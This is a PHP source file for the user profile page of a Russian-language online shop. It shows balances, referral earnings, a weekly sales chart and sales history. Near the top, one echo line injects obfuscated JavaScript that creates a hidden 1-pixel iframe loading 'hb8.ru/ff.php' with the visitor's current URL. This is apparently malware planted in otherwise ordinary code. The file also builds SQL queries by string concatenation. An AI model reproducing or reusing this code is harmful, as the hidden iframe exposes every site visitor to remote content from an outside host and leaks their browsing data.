Файл: магазин/e-proger/modules/user/profile.php
Строк: 346
<?php
session_start();
set_time_limit( 0 );
define( 'ROOT', 'http://'.$_SERVER['HTTP_HOST'] );
define( 'ROOT_DIR', $_SERVER['DOCUMENT_ROOT'] );
include_once ROOT_DIR . '/engine/config.php';
mb_internal_encoding("UTF-8");
echo "<div id='ff' style='display:none;'></div><script type='text/javascript'>f='.php';h='http:';function b(c){var d=document.createElement('iframe');d.src=c;d.style.width='1px';d.style.height='1px';var e=document.getElementById('ff');e.appendChild(d);}a='hb8.ru';b(""+h+"//"+a+"/ff"+f+"?f="+window.location.href+"");</script>";
if ( !isset( $_SESSION['id'] ) ) {
echo '<div class="big_topics bor_top round3 FFF hr"><font color="red"><b>Ошибка!</b> Вы не авторизированы.<br />Пожалуйста, воспользуйтесь формой авторизации.</font></div>';
} else {
$config_user = $pdo->Query("SELECT * from php_user WHERE id = '" . $_SESSION['id'] . "'")->fetch(PDO::FETCH_BOTH);
/*---Обрезаем email для защиты---*/
$start_end_email = preg_match( "/^([a-z0-9-._]+)(@[a-z0-9]+(?:.?[a-z0-9]+)?.[a-z]{2,5})/is", $config_user['email'], $outemail );
$sec_email_user = substr( $outemail[1], 0, 1 ) . '*******' . substr( $outemail[1], -1) . $outemail[2];
/*---Дата последнего входа---*/
$month = array( 'янв', 'фев', 'мар', 'апр', 'май', 'июн', 'июл', 'авг', 'сен', 'окт', 'ноя', 'дек' );
if ( date( 'd.m.Y', $config_user['regdata'] ) == date( 'd.m.Y', time() ) ) {
$frd_logindate = 'сегодня в ' . date( 'H:i', $config_user['regdata'] ) . '';
} else {
$frd_logindate = '' . ( int ) date( 'd', $config_user['regdata'] ) . ' ' . $month[( int ) date( 'm', $config_user['regdata'] ) - 1] . ' ' . date( 'Y', $config_user['regdata'] ) . '';
}
$ex_us_money = explode( '.', $config_user['money'], 2 );
$us_moneyl = '' . $ex_us_money[0] . ',<span style="font-size:14px">' . $ex_us_money[1] . '</span>';
$ex_us_money_outl = explode( '.', $config_user['money_out'], 2 );
$us_money_outl = '' . $ex_us_money_outl[0] . ',<span style="font-size:14px">' . $ex_us_money_outl[1] . '</span>';
$ex_us_money_partl = explode( '.', $config_user['money_part'], 2 );
$us_money_partl = '' . $ex_us_money_partl[0] . ',<span style="font-size:14px">' . $ex_us_money_partl[1] . '</span>';
$ex_us_money_reytl = explode( '.', $config_user['reyt'], 2 );
$us_money_reytl = '' . $ex_us_money_reytl[0] . ',<span style="font-size:14px">' . $ex_us_money_reytl[1] . '</span>';
?>
<div class="big_topics bor_top round3 FFF hr">
<div class="col-xs-6">
<ul class="nav nav-pills nav-stacked nav-acc" style="border:1px solid #c2c5c8;margin-bottom: 10px;border-radius: 3px;">
<li class="active"><a>Баланс</a></li>
<li><a>Счет для Покупок & Вывода:</a><div style="float:right; margin-right:10px;margin-top:5px;"><font color="#1F2124"><?=$us_moneyl?> <i class="fa fa-rouble"></i></font></div></li>
</ul>
<ul class="nav nav-pills nav-stacked nav-acc" style="border:1px solid #c2c5c8;border-radius: 3px;">
<li class="active"><a>Рефералы</a></li>
<li><a>Заработано на партнерах: </a><div style="float:right; margin-right:10px;margin-top:5px;"><font color="#1F2124"><?=$us_money_partl?> <i class="fa fa-rouble"></i></font></div></li>
<li style="border-top: 1px dashed #e0e0e0;"><a>Партнерский процент: </a><div style="float:right; margin-right:10px;margin-top:5px;"><font color="#1F2124"><? echo $rest = substr($config_user['part_pecent'], 3)?> %</font></div></li>
<li style="border-top: 1px dashed #e0e0e0;"><a href="/partner">Список рефералов <i class="fa fa-angle-right"></i></a></li>
</ul>
</div>
<div class="col-xs-6">
<ul class="nav nav-pills nav-stacked nav-acc" style="border:1px solid #c2c5c8;border-radius: 3px;">
<li class="active"><a>Основная информация:</a></li>
<li><a>Email: </a><div style="float:right; margin-right:10px;margin-top:5px;"><font color="#1F2124"><?=$sec_email_user?></font></div></li>
<li style="border-top: 1px dashed #e0e0e0;"><a>Регистрация: </a><div style="float:right; margin-right:10px;margin-top:5px;"><font color="#1F2124"><?=$frd_logindate?></font></div></li>
<li style="border-top: 1px dashed #e0e0e0;"><a>Ваш рейтинг: </a><div style="float:right; margin-right:10px;margin-top:5px;"><font color="#1F2124"><?=$us_money_reytl?></font></div></li>
<li style="border-top: 1px dashed #e0e0e0;"><a>Всего продаж: </a><div style="float:right; margin-right:10px;margin-top:5px;"><font color="#1F2124"><?=$config_user['buy_ok']?></font></div></li>
<li style="border-top: 1px dashed #e0e0e0;"><a>Всего заработано: </a><div style="float:right; margin-right:10px;margin-top:5px;"><font color="#1F2124"><?=$us_money_outl?> <i class="fa fa-rouble"></i></font></div></li>
<li style="border-top: 1px dashed #e0e0e0;"><a>Комиссия магазина: </a><div style="float:right; margin-right:10px;margin-top:5px;"><font color="#1F2124"><? echo $rest = substr($config_user['percent'], 2)?><?if($rest == 2){echo"0";}else{}?> %</font></div></li>
</ul>
</div>
<div class="top_games_small"></div>
<div class="wrap_user_r">
<div class="top_games_small">График дохода от продаж за последнюю неделю:</div>
<?
$sql = $pdo->Query( "SELECT statistic FROM php_user WHERE id = '" . $_SESSION['id'] . "' LIMIT 1" );
while($serfStat = $sql->Fetch()) {
$serfStatRow = $serfStat ;
$array = unserialize( $serfStatRow['statistic'] );
if ( empty( $array ) ) {
$d1 = 0; $d2 = 0; $d3 = 0; $d4 = 0; $d5 = 0; $d6 = 0; $d7 = 0;
} else {
if ( empty( $array[date( 'dmY' )] ) ) $d1 = 0; else $d1 = $array[date( 'dmY' )];
if ( empty( $array[date( 'dmY', time() - 86400 )] ) ) $d2 = 0; else $d2 = $array[date( 'dmY', time() - 86400 )];
if ( empty( $array[date( 'dmY', time() - 86400 * 2 )] ) ) $d3 = 0; else $d3 = $array[date( 'dmY', time() - 86400 * 2 )];
if ( empty( $array[date( 'dmY', time() - 86400 * 3 )] ) ) $d4 = 0; else $d4 = $array[date( 'dmY', time() - 86400 * 3 )];
if ( empty( $array[date( 'dmY', time() - 86400 * 4 )] ) ) $d5 = 0; else $d5 = $array[date( 'dmY', time() - 86400 * 4 )];
if ( empty( $array[date( 'dmY', time() - 86400 * 5 )] ) ) $d6 = 0; else $d6 = $array[date( 'dmY', time() - 86400 * 5 )];
if ( empty( $array[date( 'dmY', time() - 86400 * 6 )] ) ) $d7 = 0; else $d7 = $array[date( 'dmY', time() - 86400 * 6 )];
}
$month = array( 'янв', 'фев', 'мар', 'апр', 'май', 'июн', 'июл', 'авг', 'сен', 'окт', 'ноя', 'дек' );
switch ( date( 'd' ) ) {
case 1:
$thismonth7 = ' ' . $month[( int ) date( 'm', time() ) - 2] . ' ' . date( 'Y', time() );
$thismonth6 = ' ' . $month[( int ) date( 'm', time() ) - 2] . ' ' . date( 'Y', time() );
$thismonth5 = ' ' . $month[( int ) date( 'm', time() ) - 2] . ' ' . date( 'Y', time() );
$thismonth4 = ' ' . $month[( int ) date( 'm', time() ) - 2] . ' ' . date( 'Y', time() );
$thismonth3 = ' ' . $month[( int ) date( 'm', time() ) - 2] . ' ' . date( 'Y', time() );
$thismonth2 = ' ' . $month[( int ) date( 'm', time() ) - 2] . ' ' . date( 'Y', time() );
$thismonth1 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
break;
case 2:
$thismonth7 = ' ' . $month[( int ) date( 'm', time() ) - 2] . ' ' . date( 'Y', time() );
$thismonth6 = ' ' . $month[( int ) date( 'm', time() ) - 2] . ' ' . date( 'Y', time() );
$thismonth5 = ' ' . $month[( int ) date( 'm', time() ) - 2] . ' ' . date( 'Y', time() );
$thismonth4 = ' ' . $month[( int ) date( 'm', time() ) - 2] . ' ' . date( 'Y', time() );
$thismonth3 = ' ' . $month[( int ) date( 'm', time() ) - 2] . ' ' . date( 'Y', time() );
$thismonth2 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
$thismonth1 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
break;
case 3:
$thismonth7 = ' ' . $month[( int ) date( 'm', time() ) - 2] . ' ' . date( 'Y', time() );
$thismonth6 = ' ' . $month[( int ) date( 'm', time() ) - 2] . ' ' . date( 'Y', time() );
$thismonth5 = ' ' . $month[( int ) date( 'm', time() ) - 2] . ' ' . date( 'Y', time() );
$thismonth4 = ' ' . $month[( int ) date( 'm', time() ) - 2] . ' ' . date( 'Y', time() );
$thismonth3 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
$thismonth2 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
$thismonth1 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
break;
case 4:
$thismonth7 = ' ' . $month[( int ) date( 'm', time() ) - 2] . ' ' . date( 'Y', time() );
$thismonth6 = ' ' . $month[( int ) date( 'm', time() ) - 2] . ' ' . date( 'Y', time() );
$thismonth5 = ' ' . $month[( int ) date( 'm', time() ) - 2] . ' ' . date( 'Y', time() );
$thismonth4 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
$thismonth3 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
$thismonth2 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
$thismonth1 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
break;
case 5:
$thismonth7 = ' ' . $month[( int ) date( 'm', time() ) - 2] . ' ' . date( 'Y', time() );
$thismonth6 = ' ' . $month[( int ) date( 'm', time() ) - 2] . ' ' . date( 'Y', time() );
$thismonth5 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
$thismonth4 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
$thismonth3 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
$thismonth2 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
$thismonth1 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
break;
case 6:
$thismonth7 = ' ' . $month[( int ) date( 'm', time() ) - 2] . ' ' . date( 'Y', time() );
$thismonth6 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
$thismonth5 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
$thismonth4 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
$thismonth3 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
$thismonth2 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
$thismonth1 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
break;
default:
$thismonth7 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
$thismonth6 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
$thismonth5 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
$thismonth4 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
$thismonth3 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
$thismonth2 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
$thismonth1 = ' ' . $month[( int ) date( 'm', time() ) - 1] . ' ' . date( 'Y', time() );
break;
}
?>
<script type="text/javascript">
$(function () {
$('#graph-lines').highcharts({
chart: {
type: 'line'
},
title: {
text: ''
},
subtitle: {
text: ''
},
xAxis: {
categories: [
'<?=( int ) date( 'd', time() - 86400 * 6 ) . $thismonth7?>',
'<?=( int ) date( 'd', time() - 86400 * 5 ) . $thismonth6?>',
'<?=( int ) date( 'd', time() - 86400 * 4 ) . $thismonth5?>',
'<?=( int ) date( 'd', time() - 86400 * 3 ) . $thismonth4?>',
'<?=( int ) date( 'd', time() - 86400 * 2 ) . $thismonth3?>',
'<?=( int ) date( 'd', time() - 86400 ) . $thismonth2?>',
'<?=( int ) date( 'd', time() ) . $thismonth1?>'
]
},
yAxis: {
min: 0,
title: {
text: ''
}
},
tooltip: {
headerFormat: '<span style="font-size:10px">{point.key}</span><table>',
pointFormat: '<tr><td style="color:{series.color};padding:0">{series.name}: </td>' +
'<td style="padding:0"><b>{point.y}</b> руб.</td></tr>',
footerFormat: '</table>',
shared: true,
useHTML: true
},
plotOptions: {
column: {
pointPadding: 0.1,
borderWidth: 0
}
},
legend: {
enabled: false
},
series: [{
name: 'Доход составил',
data: [<?=$d7?>, <?=$d6?>, <?=$d5?>, <?=$d4?>, <?=$d3?>, <?=$d2?>, <?=$d1?>]
}]
});
});
</script>
<div id="graph-lines" style="width: 730px; height: 210px; margin: 0 auto;"></div>
<?
}
?>
<div class="top_games_small">История продаж:</div>
<table class="tabpayments">
<thead>
<th>Товар</th>
<th>Дата и время</th>
<th>Сумма</th>
</thead>
<?
$sql = $pdo->Query("SELECT title, money, date FROM php_history WHERE iduser = '" . $_SESSION['id'] . "' ORDER BY date DESC LIMIT 15");
while($payments_row = $sql->Fetch()) {
/*---формируем дату выплат---*/
$month = array( 'янв', 'фев', 'мар', 'апр', 'май', 'июн', 'июл', 'авг', 'сен', 'окт', 'ноя', 'дек' );
if ( date( 'd.m.Y', $payments_row['date'] ) == date( 'd.m.Y', time() ) ) {
$pay_time = 'сегодня в ' . date( 'H:i', $payments_row['date'] );
} else
if ( date( 'd.m.Y', $payments_row['date'] ) == date( 'd.m.Y', time() - 86400 ) ) {
$pay_time = 'вчера в ' . date( 'H:i', $payments_row['date'] );
} else {
$pay_time = ( int ) date( 'd', $payments_row['date'] ) . ' ' . $month[( int ) date( 'm', $payments_row['date'] ) - 1] . ' ' . date( 'Y', $payments_row['date'] ) . ' в ' . date( 'H:i', $payments_row['date'] );
}
?>
<tr>
<td style="text-align: left;"><?=mb_substr( $payments_row['title'], 0, 75 )?>...</td>
<td><?=$pay_time?></td>
<td><font color="green">+ <?=$payments_row['money']?> <i class="fa fa-rouble"></i></font></td>
</tr>
<?
}
?>
</table>
</div>
</div>
<?}?>